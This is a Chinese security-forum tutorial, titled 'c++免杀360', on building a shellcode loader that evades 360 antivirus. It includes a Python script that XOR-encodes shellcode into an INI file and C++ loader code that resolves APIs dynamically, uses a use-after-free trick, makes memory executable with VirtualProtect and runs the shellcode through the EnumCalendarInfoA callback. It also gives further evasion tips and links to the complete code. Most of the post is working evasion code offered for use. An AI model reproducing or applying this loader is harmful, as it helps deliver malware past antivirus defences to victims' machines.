问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
c++免杀360
安全工具
感谢各位师傅们阅读,文章哪有不对的,希望师傅们提出来呀
先看效果图 ![3_pass.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-24f5803fdbbbfed97acc41c669857278e532673f.png) ![4_pass.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3dd1152e81f6f357ead35d4f2c4ea890b21f2ddc.png) 本文涉及到的知识如下: =========== ### 1. windows api(至于这些api的参数这里就不讲了,师傅们可以自行docs.microsoft.com去搜索) ```php GetPrivateProfileIntA 这个api用来获取我们加密过后的shellcode(这个api返回值为uint) GetCurrentDirectoryA 该api是获取当前程序所在目录 GetProcAddress 获取某个dll中的某个函数地址 GetModuleHandleA 获取某个模块的句柄 VirtualProtect 可以把内存变更为可执行 malloc 申请内存 itoa 功能:比如把 1 变为 '1' EnumCalendarInfoA 这个api我们只用得着第一个参数,就是回调函数,利用它来执行我们的shellcode ``` GetPrivateProfileIntA这个api我举个例子 ![int.PNG](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-07f2bf785c8f1fbd7c15452b06ec1440bba90f4b.png) 在1.ini这个配置文件中,\[key\]以下的被称之为“部分“,abc称之为键,123为值,GetPrivateProfileIntA就是获取其整数值(用这个api主要是因为我把shellcode全转化成了整数),这个用c++进行写入加密后的shellcode不怎么方便,所以我选择用Python进行写入文件 ### **2**. UAF :这里我引用微信公众号红队蓝军的介绍 ```php #include <iostream> int main() { char* p1 = (char*)malloc(sizeof(char*)*10); memcpy(p1,"hello",10); printf("p1 addr:%x,p1:%s\n",p1,p1); free(p1); //释放堆空间 char* p2 = (char*)malloc(sizeof(char*) * 10); memcpy(p2,"world",10); printf("p2 addr:%x p1:%s\n",p2,p2); printf("p1 addr:%x,p1:%s\n", p1, p1); } ``` 结果如下图: ![mmexport1660130040644.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-921268456226d3e57b2db42deb24dc87ea62ad69.png) 指针p1指向了一块大小为10字节的堆空间,并存入了一个字符串“hello”,随即释放了该堆空间,但并未将指针p1指向null,这将导致指针p1仍然能够使用。 紧接着指针p2指向了一块新申请为10字节的堆空间,并存入了一个字符串“world”,此时打印p1,p2的地址和字符串,发现p1和p2地址相同,并且此时能通过p1打印出“world”。 在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。 通过p2能够操作p1,如果之后p1继续被使用,则可以达到通过p2修改程序功能等目的,这也是UAF(use after free)的含义 ### **3.** ![1_code.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7a06778b29dd027271cb66a80e63ce178088edb4.png) 加密代码如下: ```print(" print("| |__ _ _ _ __ __ _ ___ ___") print("| '_ \| | | | '_ \ / _` / __/ __|") print("| |_) | |_| | |_) | (_| \__ \__ \\") print("|_.__/ \__, | .__/ \__,_|___/___/") print(" |___/|_|") shellcode_=b"" #shellcode放在这里 shellcode=[] for i in shellcode_: shellcode.append(str(i^1024)) shellcode=",".join(shellcode).split(",") file=open("sc.ini","w") file.write("[key]\n") n=0 for i in shellcode: file.write(f"{n}={i}\n") n+=1 file.close() ``` 这里就是通过for循环遍历shellcode,然后异或生成加密后的shellcode最后打卡sc.ini文件写入shellcode(这里师傅们能看懂吧?) ![txt.PNG](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ea73fda2bdfd6bae86c295452359e3cc64b91401.png) 脚本执行完后ini配置文件长这样,等号后面的值就是我们把shellcode异或加密后的整数值 上面是简单的加密方式,师傅们可以自己魔改哦,像ctf密码学中的凯撒密码和隐写这类的都可以用到免杀中 接下来写加载器加载shellcode就行了,这里我用的回调函数执行shellcode,api是EnumCalendarInfoA的第一个参数 ![en3.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ad93961952878011e0371ee8f18f11c78fc31811.png) ![en4.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f220ce4485661c3a4d4b286e54ed7a0bb2b9e744.png) 这里调用api我都是利用GetProcAddress这个api获取函数地址,函数指针进行调用的 \*\*(笔者我这里开始是想利用IAT表获取GetProcAddress函数地址,再利用函数指针调用GetProcAddress获取其他函数的地址,但我这里获取GetProcAddress地址调用后程序会报错) ,所以我是用的GetProcAddress函数获取getprocaddress地址(套娃,不过没啥用) ![en.PNG](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-25b3be82a864e37ae89bd0bd73f4b17a818f4bc4.png) ![en2.PNG](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7706dc0dcd1c15370368e04a852de7cfc68c1c72.png) 这里把写入shellcode后的ini配置文件和程序放在一起,利用GetCurrentDirectoryA获取当前程序的所在目录,利用strcat函数把目录和sc.ini文件名拼接在一起,就得到了sc.ini的完整路径,如下图所示 ![main.PNG](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-06214709b92f1f45682f623b029de53a71f44a80.png) 随后我们只需要循环调用GetPrivateProfileIntA获取值进行解密即可 ```php unsigned int bt[3000]; char buf[3000]; for (int i = 0; i < 3000; i++) { _itoa_s(i, buf, 10); UINT k = GetFileIntA("key",buf, NULL, PATH); bt[i] = k; } ``` \_itoa\_s和itoa是一样的,只不过在vs中用itoa会报错,要用\_itoa\_s, 其中GetFileIntA是我们之前typedef定义的 ```php typedef UINT(WINAPI* GetfileInt)( LPCSTR LPAPPNAME, LPCSTR KEYNAME, INT DEFINE, LPCSTR FILENAME ); GetfileInt GetFileIntA = (GetfileInt)GetFuncAddr( GetModuleHandleA("kernel32.dll"), "GetPrivateProfileIntA" ); ``` 这里为什么用到itoa函数,是因为GetPrivateProfileIntA的参数是LPCSTR类型(其实就是我们熟悉的char\*),在上面我们生成的sc.ini文件是1=1098这种类型的,所以传入的参数得一一对应,传入“1“即可获取1098这个值,所以我们直接利用itoa把1变成“1“,这样就方便了许多,利用for循环把shellcode放入bt这个数组里 拿到shellcode后,接下来就是前面提到过的UAF(对免杀有没有帮助这个我不知道,既然学到了,那就用上呗) ```php typedef BOOL(WINAPI* EnumInfo)( CALINFO_ENUMPROCA proc, LCID Eocale, CALID Calender, CALTYPE Type ); typedef BOOL(WINAPI* Exchange_)( LPVOID lpAddress, SIZE_T DWsIZE, DWORD New, PDWORD Old ); typedef FARPROC(WINAPI* GetFuncAddr_)( HMODULE hmod, LPCSTR lpName ); GetFuncAddr_ GetFuncAddr = (GetFuncAddr_)GetProcAddress( GetModuleHandleA("Kernel32.dll"), "GetProcAddress" ); Exchange_ exchange_ = (Exchange_)GetFuncAddr( GetModuleHandleA("kernel32.dll"), "VirtualProtect" ); EnumInfo EnumInfoA = (EnumInfo)GetFuncAddr( GetModuleHandleA("Kernel32.dll"), "EnumCalendarInfoA" ); ``` ```php unsigned char* a = (unsigned char*)malloc(sizeof(bt)); free(a); unsigned char* b = (unsigned char*)malloc(sizeof(bt)); for (int i = 0; i < (sizeof(bt) / sizeof(bt[0])); i++) { b[i] = (unsigned char)(bt[i] ^ 1024); } DWORD p; exchange_(a, sizeof(a), 0x40,&p); EnumInfoA((CALINFO_ENUMPROCA)a, LOCALE_SYSTEM_DEFAULT, ENUM_ALL_CALENDARS, CAL_ICALINTVALUE); ``` 这个我写的加载器,算比较简单吧,就是回调函数执行shellcode,代码中的exchange\_函数和EnumInfoA函数是之前typedef定义好的, 我们申请了a和b两个内存,释放了a,因为UAF(上面解释得有),虽说a释放了,但a的值却和b相同,所以我们把之前存到bt数组里的shellcode异或解密并且强制类型转换成unsigned char类型写入b内存里 随后用exchange*(virtualprotect)这个函数把a内存属性改为可执行,exchange*(a, sizeof(a), 0x40,&p); 然后利用回调函数执行a(因为a和b的值是相同的) ![c++.PNG](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d5924251a706b5c37b3673bd86611946e569b1b1.png) 这是EnumCalendarInfoA函数的参数,只有第一个参数是重要的,回调函数(其实就是函数指针),其余参数跟着文档填即可(这种函数很多,师傅们多找找一些知名度低的,免杀效果会好不少的喔!) 完整代码 ==== 完整代码我发在了github平台上,地址https://github.com/wz-wsl/360-bypass 结尾 == **一个小思路**: windows有个api叫PathFindFileName,作用是获取当前程序的名字,这里我们可以把名字换成shellcode,利用这个api获取shellcode,不过需要注意的是windows下文件名最长为260个字符,所以我们可以把一半shellcode当成文件名,剩下的shellcode就利用其它方法呀 这里我收集了一些申请内存的api GlobalAlloc CoTaskMemAlloc HeapAlloc RtlCreateHeap VirtualAlloc VirtualAllocEx ReallocADsMem AllocADsMem CoTaskMenAlloc 希望能帮到师傅们!
发表于 2022-08-12 09:38:14
阅读 ( 10271 )
分类:
内网渗透
2 推荐
收藏
2 条评论
Tug0u_Fenr1r
2022-08-13 20:03
好!
请先
登录
后评论
MG
2023-07-28 11:35
厉害
请先
登录
后评论
请先
登录
后评论
旺崽
学生
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!